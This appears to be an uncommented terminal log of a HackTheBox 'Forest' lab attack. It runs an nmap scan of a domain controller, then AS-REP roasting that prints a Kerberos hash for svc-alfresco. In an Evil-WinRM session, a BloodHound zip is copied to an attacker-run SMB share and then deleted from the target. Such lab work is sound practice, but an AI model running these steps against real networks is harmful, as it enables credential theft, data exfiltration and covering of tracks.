┌──(root㉿kali)-[/home/kali/labs/forest/forest-2]
└─# nmap -sC -sV 10.129.48.153
Starting Nmap 7.95 ( https://nmap.org ) at 2025-12-29 16:10 +04
Nmap scan report for 10.129.48.153
Host is up (0.36s latency).
Not shown: 988 closed tcp ports (reset)
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-12-29 12:18:55Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
445/tcp open microsoft-ds Windows Server 2016 Standard 14393 microsoft-ds (workgroup: HTB)
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: htb.local, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: FOREST; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
| date: 2025-12-29T12:19:17
|_ start_date: 2025-12-29T12:16:09
| smb-os-discovery:
| OS: Windows Server 2016 Standard 14393 (Windows Server 2016 Standard 6.3)
| Computer name: FOREST
| NetBIOS computer name: FOREST\x00
| Domain name: htb.local
| Forest name: htb.local
| FQDN: FOREST.htb.local
|_ System time: 2025-12-29T04:19:21-08:00
|_clock-skew: mean: 2h46m47s, deviation: 4h37m11s, median: 6m45s
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: required
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled and required
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 148.04 seconds
┌──(root㉿kali)-[/home/kali/labs/forest/forest-2]
└─# impacket-GetNPUsers 'HTB.LOCAL/' -usersfile users -outputfile hash -dc-ip 10.129.48.153
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] User administrator doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] Kerberos SessionError: KDC_ERR_CLIENT_REVOKED(Clients credentials have been revoked)
[-] User sebastien doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User lucinda doesn't have UF_DONT_REQUIRE_PREAUTH set
$krb5asrep$23$svc-alfresco@HTB.LOCAL:6a1f04a504b902b5a18ce54c15facbad$970c94ada6d9a3f7573224bd26f4bfb90bd66041269fb243079c87ace5cbf0589eed5b1a10ce9f621307e8bb93b2b976fe7c4d53e72393a5c73c970e04ca147fa8cbbb695460fbbf253f95895d3cd2cd7b02cd499fe50813f624cda64b3762db8f5f6f898f6ea62061becaddfe7a43ad07360564d9ba3329ff399f58e1f273ba3ac26f8be28754f5b17acf85e2d4acc0dff6afeece90abc9c65d55cd8f1b70eb5556f52630e11e80ed1a815c02e3f89db9af86590db04b9a78ba76e1e4f9f08738e67bd40fa3db3e59f2d52b0d391ea9054a194a3b5c9573990a73b8de349814d61c2bd5e818
[-] User andy doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User mark doesn't have UF_DONT_REQUIRE_PREAUTH set
[-] User santi doesn't have UF_DONT_REQUIRE_PREAUTH set
┌──(root㉿kali)-[/home/kali/labs/forest/forest-2]
└─# cat hash
$krb5asrep$23$svc-alfresco@HTB.LOCAL:6a1f04a504b902b5a18ce54c15facbad$970c94ada6d9a3f7573224bd26f4bfb90bd66041269fb243079c87ace5cbf0589eed5b1a10ce9f621307e8bb93b2b976fe7c4d53e72393a5c73c970e04ca147fa8cbbb695460fbbf253f95895d3cd2cd7b02cd499fe50813f624cda64b3762db8f5f6f898f6ea62061becaddfe7a43ad07360564d9ba3329ff399f58e1f273ba3ac26f8be28754f5b17acf85e2d4acc0dff6afeece90abc9c65d55cd8f1b70eb5556f52630e11e80ed1a815c02e3f89db9af86590db04b9a78ba76e1e4f9f08738e67bd40fa3db3e59f2d52b0d391ea9054a194a3b5c9573990a73b8de349814d61c2bd5e818
┌──(root㉿kali)-[/home/kali/labs/forest]
└─# impacket-smbserver share . -smb2support -username asdf -password asdf
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net use \\10.10.14.143\share /u:asdf asdf
The command completed successfully.
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> copy 20251210035124_BloodHound.zip \\10.10.14.143\share\
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> del 20251210035124_BloodHound.zip
*Evil-WinRM* PS C:\Users\svc-alfresco\Desktop> net use /d \\10.10.14.143\share
\\10.10.14.143\share was deleted successfully.
